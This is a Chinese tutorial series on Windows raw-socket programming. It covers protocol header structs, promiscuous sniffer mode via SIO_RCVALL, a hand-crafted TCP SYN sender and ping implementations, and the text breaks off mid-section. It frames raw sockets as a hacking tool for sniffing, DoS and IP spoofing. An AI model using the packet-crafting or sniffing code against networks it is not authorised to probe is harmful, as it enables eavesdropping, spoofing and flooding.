黑客之旅――原始套接字透析之前言
大多数程序员所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的Socket,针对于面向连接的TCP服务应用; (2)数据报式套接字(SOCK_DGRAM):一种无连接的Socket,对应于无连接的UDP服务应用。 从用户的角度来看,SOCK_STREAM、SOCK_DGRAM这两类套接字似乎的确涵盖了TCP/IP应用的全部,因为基于TCP/IP的应用,从 协议栈的层次上讲,在传输层的确只可能建立于TCP或UDP协议之上(图1),而SOCK_STREAM、SOCK_DGRAM又分别对应于TCP和 UDP,所以几乎所有的应用都可以用这两类套接字实现。 图1 TCP/IP协议栈
但是,当我们面对如下问题时,SOCK_STREAM、SOCK_DGRAM将显得这样无助: (1) 怎样发送一个自定义的IP包? (2) 怎样发送一个ICMP协议包? (3) 怎样使本机进入杂糅模式,从而能够进行网络sniffer? (4) 怎样分析所有经过网络的包,而不管这样包是否是发给自己的? (5) 怎样伪装本地的IP地址? 这使得我们必须面对另外一个深刻的主题――原始套接字(Raw Socket)。Raw Socket广泛应用于高级网络编程,也是一种广泛的黑客手段。著名的网络
sniffer、拒绝服务攻击(DOS)、IP欺骗等都可以以Raw Socket实现。 Raw Socket与标准套接字(SOCK_STREAM、SOCK_DGRAM)的区别在于前者直接置"根"于操作系统网络核心(Network Core),而SOCK_STREAM、SOCK_DGRAM则"悬浮"于TCP和UDP协议的外围,如图2所示: 图2 Raw Socket与标准Socket
当我们使用Raw Socket的时候,可以完全自定义IP包,一切形式的包都可以"制造"出来。因此,本文事先必须对TCP/IP所涉及IP包结构进行必要的交待。 目前,IPv4的报头结构为:
版本号(4)
包头长(4)
服务类型(8)
数据包长度(16)
标识(16)
偏移量(16)
生存时间(8)
传输协议(8)
校验和(16)
源地址(32)
目的地址(32)
选项(8)
.........
填充
对其进行数据结构封装:
typedef struct _iphdr //定义IP报头 { unsigned char h_lenver; //4位首部长度+4位IP版本号 unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;
或者将上述定义中的第一字节按位拆分:
typedef struct _iphdr //定义IP报头 { unsigned char h_len : 4; //4位首部长度 unsigned char ver : 4; //4位IP版本号 unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; } IP_HEADER;
更加严格地讲,上述定义中h_len、ver字段的内存存放顺序还与具体CPU的Endian有关,因此,更加严格的IP_HEADER可定义为:
typedef struct _iphdr //定义IP报头 { #if defined(__LITTLE_ENDIAN_BITFIELD) unsigned char h_len : 4; //4位首部长度 unsigned char ver : 4; //4位IP版本号 #elif defined (__BIG_ENDIAN_BITFIELD) unsigned char ver : 4; //4位IP版本号 unsigned char h_len : 4; //4位首部长度 #endif unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags;
unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; } IP_HEADER;
TCP报头结构为:
源端口(16)
目的端口(16)
序列号(32)
确认号(32)
TCP偏移量(4)
保留(6)
标志(6)
窗口(16)
校验和(16)
紧急(16)
选项(0或32)
数据(可变)
对应数据结构:
typedef struct psd_hdr //定义TCP伪报头 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER; typedef struct _tcphdr //定义TCP报头 { unsigned short th_sport; //16位源端口 unsigned short th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/4位保留字 unsigned char th_flag; //6位标志位 unsigned short th_win; //16位窗口大小 unsigned short th_sum; //16位校验和 unsigned short th_urp; //16位紧急数据偏移量 } TCP_HEADER;
同样地,TCP头的定义也可以将位域拆分:
typedef struct _tcphdr { unsigned short th_sport; unsigned short th_dport; unsigned int th_seq; unsigned int th_ack; /*little-endian*/ unsigned short tcp_res1: 4, tcp_hlen: 4, tcp_fin: 1, tcp_syn: 1, tcp_rst: 1, tcp_psh: 1, tcp_ack: 1, tcp_urg: 1, tcp_res2: 2; unsigned short th_win; unsigned short th_sum; unsigned short th_urp; } TCP_HEADER;
UDP报头为:
源端口(16)
目的端口(16)
报文长(16)
校验和(16)
对应的数据结构为:
typedef struct _udphdr //定义UDP报头 { unsigned short uh_sport;//16位源端口 unsigned short uh_dport;//16位目的端口 unsigned short uh_len;//16位长度 unsigned short uh_sum;//16位校验和 } UDP_HEADER;
ICMP协议是网络层中一个非常重要的协议,其全称为Internet Control Message Protocol(因特网控制报文协议),ICMP协议弥补了IP的缺限,它使用IP协议进行信息传递,向数据包中的源端节点提供发生在网络层的错误信息 反馈。ICMP报头为:
类型(8)
代码(8)
校验和(16)
消息内容
常用的回送与或回送响应ICMP消息对应数据结构为:
typedef struct _icmphdr //定义ICMP报头(回送与或回送响应) { unsigned char i_type;//8位类型
unsigned char i_code; //8位代码 unsigned short i_cksum; //16位校验和 unsigned short i_id; //识别号(一般用进程号作为识别号) unsigned short i_seq; //报文序列号 unsigned int timestamp;//时间戳 } ICMP_HEADER;
常用的ICMP报文包括ECHO-REQUEST(响应请求消息)、ECHO-REPLY(响应应答消息)、Destination Unreachable(目标不可到达消息)、Time Exceeded(超时消息)、Parameter Problems(参数错误消息)、Source Quenchs(源抑制消息)、Redirects(重定向消息)、Timestamps(时间戳消息)、Timestamp Replies(时间戳响应消息)、Address Masks(地址掩码请求消息)、Address Mask Replies(地址掩码响应消息)等,是Internet上十分重要的消息。后面章节中所涉及到的ping命令、ICMP拒绝服务攻击、路由欺骗都与 ICMP协议息息相关。 另外,本系列文章中的部分源代码参考了一些优秀程序员的开源项目,由于篇幅的关系我们不能一一列举,在此一并表示感谢。
原始套接字透析之Raw Socket基础
2006-11-12 08:00 作者: 宋宝华 出处: 天极开发 责任编辑:方舟
在进入Raw Socket多种强大的应用之前,我们先讲解怎样建立一个Raw Socket及怎样用建立的Raw Socket发送和接收IP包。 建立Raw Socket 在Windows平台上,为了使用Raw Socket,需先初始化WINSOCK:
// 启动 Winsock WSAData wsaData; if (WSAStartup(MAKEWORD(2, 1), &wsaData) != 0) { cerr << "Failed to find Winsock 2.1 or better." << endl; return 1; }
MAKEWORD(2, 1)组成一个版本字段,2.1版,同样的,MAKEWORD(2, 2)意味着2.2版。MAKEWORD本身定义为:
inline word MakeWord(const byte wHigh, const byte wLow) { return ((word)wHigh) << 8 | wLow; }
因此MAKEWORD(2, 1)实际等同于0x0201。同样地,0x0101可等同于MAKEWORD(1, 1)。 与WSAStartup()的函数为WSACleanup(),在所有的socket都使用完后调用,如:
void sock_cleanup() { #ifdef WIN32 sockcount--; if (sockcount == 0) WSACleanup(); #endif }
接下来,定义一个Socket句柄:
SOCKET sd; // RAW Socket句柄
创建Socket并将句柄赋值给定义的sd,可以使用WSASocket()函数来完成,其原型为:
SOCKET WSASocket(int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags);
其中的参数定义为: af:地址家族,一般为AF_INET,指代IPv4(The Internet Protocol version 4)地址家族。 type:套接字类型,如果创建原始套接字,应该使用SOCK_RAW; Protocol:协议类型,如IPPROTO_TCP、IPPROTO_UDP等; lpProtocolInfo :WSAPROTOCOL_INFO结构体指针; dwFlags:套接字属性标志。 例如,下面的代码定义ICMP协议类型的原始套接字:
sd = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, 0, 0, 0);
创建Socket也可以使用socket()函数:
SOCKET WSAAPI socket( int af, int type, int protocol);
参数的定义与WSASocket()函数相同。 为了使用socket()函数创建的Socket,还需要将这个Socket与sockaddr绑定:
SOCKADDR_IN addr_in; addr_in.sin_family = AF_INET; addr_in.sin_port = INADDR_ANY; addr_in.sin_addr.S_un.S_addr = GetLocalIP(); nRetCode = bind(sd, (struct sockaddr*) &addr_in, sizeof(addr_in));
if (SOCKET_ERROR == nRetCode) { printf("BIND Error!%d/n", WSAGetLastError()); }
其中使用的struct sockaddr_in(即SOCKADDR_IN)为:
struct sockaddr_in { unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; }
而bind()函数第二个参数的struct sockaddr类型定义为:
struct sockaddr { unisgned short as_family; char sa_data[14]; };
实际上,bind()函数采用struct sockaddr是为了考虑兼容性,最终struct sockaddr和struct sockaddr_in的内存占用是等同的。struct sockaddr_in中的struct in_addr成员占用4个字节,为32位的IP地址,定义为:
typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, FAR *LPIN_ADDR;
把32位的IP地址定义为上述联合体将使用户可以以字节、半字或字方式读写同一个IP地址。同志们,注意了,这个技巧在许多软件开发中定义数据结构时被广泛采用。 为了控制包的发送方式,我们可能会用到如下的这个十分重要的函数来设置套接字选项:
int setsockopt( SOCKET s, //套接字句柄 int level, //选项level,如SOL_SOCKET int optname, //选项名,如SO_BROADCAST const char* optval, //选项值buffer指针 int optlen //选项buffer长度 );
例如,当level为SOL_SOCKET时,我们可以设置布尔型选项SO_BROADCAST从而控制套接字是否传送和接收广播消息。 下面的代码通过设置IPPROTO_IP level的IP_HDRINCL选项为TRUE从而使能程序员亲自处理IP包报头:
//设置 IP 头操作选项 BOOL flag = TRUE; setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char*) &flag, sizeof(flag);
下面的函数用于控制套接字:
int ioctlsocket( SOCKET s, long cmd, //命令 u_long* argp //命令参数指针 );
如下面的代码让socket接收所有报文(sniffer模式):
u_long iMode = 1; ioctlsocket(sd, SIO_RCVALL, & iMode); //让 sockRaw 接受所有的数据
Raw Socket发送报文 发送报文的函数为:
int sendto( SOCKET s, //套接字句柄 const char* buf, //发送缓冲区 int len, //要发送的字节数 int flags, //方式标志 const struct sockaddr* to, //目标地址 int tolen //目标地址长度 );

int send( SOCKET s, //已经建立连接的套接字句柄 const char* buf, int len, int flags );
send()函数的第1个参数只能是一个已经建立连接的套接字句柄,所以这个函数就不再需要目标地址参数输入。 函数的返回值为实际发送的字节数,如果返回SOCKET_ERROR,可以通过WSAGetLastError()获得错误原因。请看下面的示例:
int bwrote = sendto(sd, (char*)send_buf, packet_size, 0, (sockaddr*) &dest, sizeof(dest)); if (bwrote == SOCKET_ERROR) { //…发送失败 if(WSAGetLastError()==…) { //… } return - 1; } else if (bwrote < packet_size) { //…发送字节 < 欲发送字节 }
Raw Socket接收报文 接收报文的函数为:
int recvfrom( SOCKET s, //套接字句柄 char* buf, //接收缓冲区 int len, //缓冲区字节数 int flags, //方式标志 struct sockaddr* from, //源地址 int* fromlen );

int recv( SOCKET s, //已经建立连接的套接字句柄 char* buf, int len, int flags );
recv()函数的第1个参数只能是一个已经建立连接的套接字句柄,所以这个函数就不再需要源地址参数输入。 函数的返回值为实际接收的字节数,如果返回SOCKET_ERROR,我们可以通过WSAGetLastError()函数获得错误原因。请看下面的示例:
int bread = recvfrom(sd, (char*)recv_buf, packet_size + sizeof(IPHeader), 0, (sockaddr*) &source, &fromlen); if (bread == SOCKET_ERROR) { //…读失败 if(WSAGetLastError()==WSAEMSGSIZE) { //…接收buffer太小 } return - 1; }
原始套接字按如下规则接收报文:若接收的报文中协议类型和定义的原始套接字匹配,那么,接收的所有数据拷贝入套接字中;如果套接字绑定了本地地址,那么 只有接收数据IP头中对应的目的地址等于本地地址,接收到的数据才拷贝到套接字中;如果套接字定义了远端地址,那么,只有接收数据IP头中对应的源地址与 远端地址匹配,接收的数据才拷贝到套接字中。
建立报文 在利用Raw Socket发送报文时,报文的IP头、TCP头、UDP头等需要程序员亲自赋值,从而达到极大的灵活性。下面的程序利用Raw Socket发送TCP报文,并完全手工建立报头:
int sendTcp(unsigned short desPort, unsigned long desIP) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader; char szSendBuf[MAX_LEN] = { 0 }; BOOL flag; int rect, nTimeOver; if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0) { printf("WSAStartup Error!/n"); return false; } if ((sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { printf("Socket Setup Error!/n"); return false; } flag = true; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*) &flag, sizeof(flag)) ==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!/n"); return false; } nTimeOver = 1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*) &nTimeOver, sizeof (nTimeOver)) == SOCKET_ERROR) {
printf("setsockopt SO_SNDTIMEO error!/n"); return false; } addr_in.sin_family = AF_INET; addr_in.sin_port = htons(desPort); addr_in.sin_addr.S_un.S_addr = inet_addr(desIP); //填充IP报头 ipHeader.h_verlen = (4 << 4 | sizeof(ipHeader) / sizeof(unsigned long)); // ipHeader.tos=0; ipHeader.total_len = htons(sizeof(ipHeader) + sizeof(tcpHeader)); ipHeader.ident = 1; ipHeader.frag_and_flags = 0; ipHeader.ttl = 128; ipHeader.proto = IPPROTO_TCP; ipHeader.checksum = 0; ipHeader.sourceIP = inet_addr("localhost"); ipHeader.destIP = desIP; //填充TCP报头 tcpHeader.th_dport = htons(desPort); tcpHeader.th_sport = htons(SOURCE_PORT); //源端口号 tcpHeader.th_seq = htonl(0x12345678); tcpHeader.th_ack = 0; tcpHeader.th_lenres = (sizeof(tcpHeader) / 4 << 4 | 0); tcpHeader.th_flag = 2; //标志位探测,2是SYN tcpHeader.th_win = htons(512); tcpHeader.th_urp = 0; tcpHeader.th_sum = 0; psdHeader.saddr = ipHeader.sourceIP; psdHeader.daddr = ipHeader.destIP; psdHeader.mbz = 0; psdHeader.ptcl = IPPROTO_TCP; psdHeader.tcpl = htons(sizeof(tcpHeader)); //计算校验和 memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum = checksum((unsigned short*)szSendBuf, sizeof(psdHeader) + sizeof
(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4); ipHeader.checksum = checksum((unsigned short*)szSendBuf, sizeof(ipHeader) + sizeof (tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rect = sendto(sock, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*) &addr_in, sizeof(addr_in)); if (rect == SOCKET_ERROR) { printf("send error!:%d/n", WSAGetLastError()); return false; } else printf("send ok!/n"); closesocket(sock); WSACleanup(); return rect; }
原始套接字透析之实现Ping
2006-11-13 07:00 作者: 宋宝华 出处: 天极开发 责任编辑:方舟
极其常用的Ping命令通过向计算机发送ICMP Echo请求报文并且监听回应报文的返回,以校验与远程计算机或本地计算机的连接。 使用ICMP.DLL实现Ping 在Windows平台编程中实现Ping的一个最简单方法是调用ICMP.DLL这个动态链接库,引用ICMP.DLL中的三个函数即可:
HANDLE IcmpCreateFile(void);
这个函数打开个ICMP Echo请求能使用的句柄;
BOOL IcmpCloseHandle(HANDLE IcmpHandle);
这个函数关闭由IcmpCreateFile打开的句柄;
DWORD IcmpSendEcho( HANDLE IcmpHandle, // IcmpCreateFile打开的句柄 IPAddr DestinationAddress, //Echo请求的目的地址 LPVOID RequestData, //发送数据buffer WORD RequestSize, //发送数据长度 PIP_OPTION_INFORMATION RequestOptions, // IP_OPTION_INFORMATION指针 LPVOID ReplyBuffer, //接收回复buffer DWORD ReplySize, //接收回复buffer大小 DWORD Timeout //等待超时 );
这个函数发送Echo请求并等待回复或超时。 把这个函数和相关数据封装成一个类CPing,CPing类的头文件如下:
class CPing { public: CPing(); ~CPing(); BOOL Ping(char* strHost); private:
// ICMP.DLL 导出函数指针 HANDLE (WINAPI *pIcmpCreateFile)(VOID); BOOL (WINAPI *pIcmpCloseHandle)(HANDLE); DWORD (WINAPI *pIcmpSendEcho)(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD); HANDLE hndlIcmp; // 加载ICMP.DLL库句柄 BOOL bValid; //是否构造(获得ICMP.DLL导出函数指针和初始化WinSock)成功 };
CPing类的构造函数获得ICMP.DLL中导出函数的指针并初始化WinSock:
CPing::CPing() { bValid = FALSE; WSADATA wsaData; int nRet; // 动态加载ICMP.DLL hndlIcmp = LoadLibrary("ICMP.DLL"); if (hndlIcmp == NULL) { ::MessageBox(NULL, "Could not load ICMP.DLL", "Error:", MB_OK); return; } // 获得ICMP.DLL中导出函数指针 pIcmpCreateFile = (HANDLE (WINAPI *)(void))GetProcAddress((HMODULE)hndlIcmp,"IcmpCreateFile"); pIcmpCloseHandle = (BOOL (WINAPI *)(HANDLE))GetProcAddress((HMODULE)hndlIcmp,"IcmpCloseHandle"); pIcmpSendEcho = (DWORD (WINAPI *)(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD)) GetProcAddress((HMODULE)hndlIcmp,"IcmpSendEcho"); // 检查所有的指针 if (pIcmpCreateFile == NULL || pIcmpCloseHandle == NULL ||pIcmpSendEcho == NULL) { ::MessageBox(NULL, "Error loading ICMP.DLL", "Error:", MB_OK); FreeLibrary((HMODULE)hndlIcmp); return; } // 初始化WinSock
nRet = WSAStartup(0x0101, &wsaData ); if (nRet) { ::MessageBox(NULL, "WSAStartup() error:", "Error:", MB_OK); WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); return; } // 检查WinSock的版本 if (0x0101 != wsaData.wVersion) { ::MessageBox(NULL, "No WinSock version 1.1 support found", "Error:", MB_OK); WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); return; } bValid = TRUE; }
CPing类的析构函数完成相反的动作:
CPing::~CPing() { WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); }
CPing类的Ping函数是最核心的函数,实现真正的ping操作:
int CPing::Ping(char *strHost) { struct in_addr iaDest; // Internet地址结构体 LPHOSTENT pHost; // 主机入口结构体指针 DWORD *dwAddress; // IP地址 IPINFO ipInfo; // IP选项结构体 ICMPECHO icmpEcho; // ICMP Echo回复buffer HANDLE hndlFile; // IcmpCreateFile函数打开的句柄 if (!bValid) { return FALSE; }
//使用inet_addr()以判定ping目标为地址还是名称 iaDest.s_addr = inet_addr(strHost); if (iaDest.s_addr == INADDR_NONE) pHost = gethostbyname(strHost); else pHost = gethostbyaddr((const char*) &iaDest, sizeof(struct in_addr),AF_INET); if (pHost == NULL) { return FALSE; } // 拷贝IP地址 dwAddress = (DWORD*)(*pHost->h_addr_list); // 获得ICMP Echo句柄 hndlFile = pIcmpCreateFile(); // 设置发送信息缺省值 ipInfo.Ttl = 255; ipInfo.Tos = 0; ipInfo.IPFlags = 0; ipInfo.OptSize = 0; ipInfo.Options = NULL; icmpEcho.Status = 0; // 请求一个ICMP echo pIcmpSendEcho(hndlFile, *dwAddress, NULL, 0, &ipInfo, &icmpEcho, sizeof(struct tagICMPECHO), 1000); //设置结果 iaDest.s_addr = icmpEcho.Source; if (icmpEcho.Status) { return FALSE; } // 关闭ICMP Echo句柄 pIcmpCloseHandle(hndlFile); return TRUE; }
其中所使用的相关结构体定义为:
typedef struct tagIPINFO { u_char Ttl; // TTL u_char Tos; // 服务类型 u_char IPFlags; // IP标志 u_char OptSize; // 可选数据大小 u_char *Options; // 可选数据buffer } IPINFO, *PIPINFO; typedef struct tagICMPECHO { u_long Source; // 源地址 u_long Status; // IP状态 u_long RTTime; // RTT u_short DataSize; // 回复数据大小 u_short Reserved; // 保留 void *pData; // 回复数据buffer IPINFO ipInfo; // 回复IP选项 } ICMPECHO, *PICMPECHO;
使用Raw Socket实现Ping 仅仅采用ICMP.DLL并不能完全实现ICMP灵活多变的各类报文,只有使用Raw Socket才是ICMP的终极解决之道。 使用Raw Socket发送ICMP报文前,我们要完全依靠自己的代码组装报文:
//功能:初始化ICMP的报头, 给data部分填充数据, 计算校验和 void init_ping_packet(ICMPHeader *icmp_hdr, int packet_size, int seq_no) { //设置ICMP报头字段 icmp_hdr->type = ICMP_ECHO_REQUEST; icmp_hdr->code = 0; icmp_hdr->checksum = 0; icmp_hdr->id = (unsigned short)GetCurrentProcessId(); icmp_hdr->seq = seq_no; icmp_hdr->timestamp = GetTickCount(); // 填充data域 const unsigned long int deadmeat = 0xDEADBEEF; char *datapart = (char*)icmp_hdr + sizeof(ICMPHeader); int bytes_left = packet_size - sizeof(ICMPHeader); while (bytes_left > 0) {
memcpy(datapart, &deadmeat, min(int(sizeof(deadmeat)), bytes_left)); bytes_left -= sizeof(deadmeat); datapart += sizeof(deadmeat); } // 计算校验和 icmp_hdr->checksum = ip_checksum((unsigned short*)icmp_hdr, packet_size); }
计算校验和(Checksum)的函数为:
//功能:计算ICMP包的校验和 unsigned short ip_checksum(unsigned short *buffer, int size) { unsigned long cksum = 0; // 将所有的16数相加 while (size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if (size) //加上最后一个BYTE { cksum += *(unsigned char*)buffer; } //和的前16位和后16位相加 cksum = (cksum >> 16) + (cksum &0xffff); cksum += (cksum >> 16); return (unsigned short)(~cksum); }
在真正发送Ping报文前,需要先初始化Raw Socket:
// 功能:初始化RAW Socket, 设置ttl, 初始化目标地址 // 返回值:<0 失败 int setup_for_ping(char *host, int ttl, SOCKET &sd, sockaddr_in &dest) {
// 创建原始套接字 sd = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, 0, 0, 0); if (sd == INVALID_SOCKET) { cerr << "Failed to create raw socket: " << WSAGetLastError() << endl; return - 1; } if (setsockopt(sd, IPPROTO_IP, IP_TTL, (const char*) &ttl, sizeof(ttl)) ==SOCKET_ERROR) { cerr << "TTL setsockopt failed: " << WSAGetLastError() << endl; return - 1; } // 初始化目标主机信息块 memset(&dest, 0, sizeof(dest)); // 将第1个参数转换为目标IP地址 unsigned int addr = inet_addr(host); if (addr != INADDR_NONE) { // 为IP地址 dest.sin_addr.s_addr = addr; dest.sin_family = AF_INET; } else { // 非IP地址,进行主机名和IP地址的转换 hostent *hp = gethostbyname(host); if (hp != 0) { // 查找主机名对应的IP地址 memcpy(&(dest.sin_addr), hp->h_addr, hp->h_length); dest.sin_family = hp->h_addrtype; } else { // 不能识别的主机名 cerr << "Failed to resolve " << host << endl; return - 1; }
} return 0; }
下面可以利用Raw Socket发送生成的ICMP报文:
//功能:发送生成的ICMP包 //返回值:<0 发送失败 int send_ping(SOCKET sd, const sockaddr_in &dest, ICMPHeader *send_buf, int packet_size) { // 发送send_buf缓冲区中的报文 cout << "Sending " << packet_size << " bytes to " << inet_ntoa(dest.sin_addr) << "..." << flush; int bwrote = sendto(sd, (char*)send_buf, packet_size, 0, (sockaddr*) &dest,sizeof(dest)); if (bwrote == SOCKET_ERROR) { cerr << "send failed: " << WSAGetLastError() << endl; return - 1; } else if (bwrote < packet_size) { cout << "sent " << bwrote << " bytes..." << flush; } return 0; }
发送Ping报文后,我们需要接收Ping回复ICMP报文:
//功能:接收Ping回复 //返回值: <0 接收失败 int recv_ping(SOCKET sd, sockaddr_in &source, IPHeader *recv_buf, int packet_size) { // 等待Ping回复 int fromlen = sizeof(source); int bread = recvfrom(sd, (char*)recv_buf, packet_size + sizeof(IPHeader), 0,(sockaddr*) &source, &fromlen); if (bread == SOCKET_ERROR) { cerr << "read failed: ";
if (WSAGetLastError() == WSAEMSGSIZE) { cerr << "buffer too small" << endl; } else { cerr << "error #" << WSAGetLastError() << endl; } return - 1; } return 0; }
并使用如下函数对接收到的报文进行解析:
// 功能:解析接收到的ICMP报文 // 返回值: -2忽略, -1失败, 0 成功 int decode_reply(IPHeader *reply, int bytes, sockaddr_in *from) { // 偏移到ICMP报头 unsigned short header_len = reply->h_len *4; ICMPHeader *icmphdr = (ICMPHeader*)((char*)reply + header_len); // 报文太短 if (bytes < header_len + ICMP_MIN) { cerr << "too few bytes from " << inet_ntoa(from->sin_addr) << endl; return - 1; } // 解析回复报文类型 else if (icmphdr->type != ICMP_ECHO_REPLY) { //非正常回复 if (icmphdr->type != ICMP_TTL_EXPIRE) { //ttl减为零 if (icmphdr->type == ICMP_DEST_UNREACH) { //主机不可达 cerr << "Destination unreachable" << endl; } else
{ //非法的ICMP包类型 cerr << "Unknown ICMP packet type " << int(icmphdr->type) <<" received" << endl; } return - 1; } } else if (icmphdr->id != (unsigned short)GetCurrentProcessId()) { //不是本进程发的包, 可能是同机的其它ping进程发的 return - 2; } // 指出往返时间TTL int nHops = int(256-reply->ttl); if (nHops == 192) { // TTL came back 64, so ping was probably to a host on the // LAN -- call it a single hop. nHops = 1; } else if (nHops == 128) { // Probably localhost nHops = 0; } // 输出信息 cout << endl << bytes << " bytes from " << inet_ntoa(from->sin_addr) <<", icmp_seq " << icmphdr->seq << ", "; if (icmphdr->type == ICMP_TTL_EXPIRE) { cout << "TTL expired." << endl; } else { cout << nHops << " hop" << (nHops == 1 ? "" : "s"); cout << ", time: " << (GetTickCount() - icmphdr->timestamp) << " ms." <<endl; } return 0; }
为了在Visual C++中更加方便地使用发送和接收ICMP报文,我们可以使用由Jay Wheeler编写的CIcmp(An ICMP Class For MFC)类,在著名的开发网站的如下地址可以下载。 这个类的简要框架如下:
class CIcmp: public CSocket { // Attributes public: BOOL OpenNewSocket(HWND hWnd, unsigned int NotificationMessage, long NotifyEvents); BOOL OpenNewSocket(HWND hWnd, unsigned int NotificationMessage, long NotifyEvents, int AFamily, int AType, int AProtocol); int CloseIcmpSocket(void); BOOL Connect(int ReceiveTimeout, int SendTimeout); BOOL Connect(LPINT ReceiveTimeout, LPINT SendTimeout, int AFamily, int AType, int AProtocol); int SetTTL(int TTL); int SetAsynchNotification(HWND hWnd, unsigned int Message, long Events); int Receive(LPSTR pIcmpBuffer, int IcmpBufferSize); unsigned long GetIPAddress(LPSTR iHostName); int Ping(LPSTR pIcmpBuffer, int IcmpBufferSize); unsigned short IcmpChecksum(unsigned short FAR *lpBuf, int Len); void DisplayError(CString ErrorType, CString FunctionName); // Operations public: CIcmp(void); CIcmp(CIcmp &copy); ~CIcmp(void); public: // I/O Buffer Pointers LPIcmpHeader pIcmpHeader; LPIpHeader pIpHeader; SOCKET icmpSocket; SOCKADDR_IN icmpSockAddr; SOCKADDR_IN rcvSockAddr; DWORD icmpRoundTripTime; DWORD icmpPingSentAt; DWORD icmpPingReceivedAt;
int icmpRcvLen; int icmpHops; int icmpMaxHops; int icmpCurSeq; int icmpCurId; int icmpPingTimer; int icmpSocketError; int icmpSocketErrorMod; unsigned long icmpHostAddress; protected: };
初始化网络连接的函数:
BOOL CIcmp::Connect(LPINT ReceiveTimeout, LPINT SendTimeout, int AFamily, int AType, int AProtocol) { int Result; icmpSocket = NULL; icmpSocket = socket(AFamily, AType, AProtocol); if (icmpSocket == INVALID_SOCKET) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; return FALSE; } // // Set receive timeout // Result = setsockopt(icmpSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)ReceiveTimeout, sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 2; closesocket(icmpSocket); icmpSocket = INVALID_SOCKET; return FALSE; }
// // Set send timeout // Result = setsockopt(icmpSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)SendTimeout,sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 3; closesocket(icmpSocket); icmpSocket = INVALID_SOCKET; return FALSE; } icmpCurSeq = 0; icmpCurId = (USHORT)GetCurrentProcessId(); icmpHops = 0; return TRUE; }
接收的函数:
int CIcmp::Receive(LPSTR pIcmpBuffer, int IcmpBufferSize) { LPSOCKADDR pRcvSockAddr = (LPSOCKADDR)&rcvSockAddr; int Result; int RcvIpHdrLen; icmpPingReceivedAt = GetTickCount(); icmpCurId = 0; rcvSockAddr.sin_family = AF_INET; rcvSockAddr.sin_addr.s_addr = INADDR_ANY; rcvSockAddr.sin_port = 0; RcvIpHdrLen = sizeof rcvSockAddr; Result = recvfrom (icmpSocket, pIcmpBuffer, IcmpBufferSize, 0, pRcvSockAddr,
&RcvIpHdrLen); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; DisplayError ("Receive","CIcmp::Receive"); return Result; } icmpRcvLen = Result; pIpHeader = (LPIpHeader)pIcmpBuffer; RcvIpHdrLen = pIpHeader->HeaderLength * 4; if (Result < RcvIpHdrLen + ICMP_MIN) { // // Too few bytes received // MessageBox(NULL, "Short message!", "CIcmp::Receive", MB_OK|MB_SYSTEMMODAL); icmpSocketErrorMod = 2; return Result; } pIcmpHeader = (LPIcmpHeader)(pIcmpBuffer + RcvIpHdrLen); icmpCurId = pIcmpHeader->IcmpId; icmpRoundTripTime = icmpPingReceivedAt - pIcmpHeader->IcmpTimestamp; if (pIcmpHeader->IcmpType != ICMP_ECHOREPLY) { // // Not an echo response! // return Result; } icmpCurSeq = pIcmpHeader->IcmpSeq;
return Result; }
异步通知主窗口:
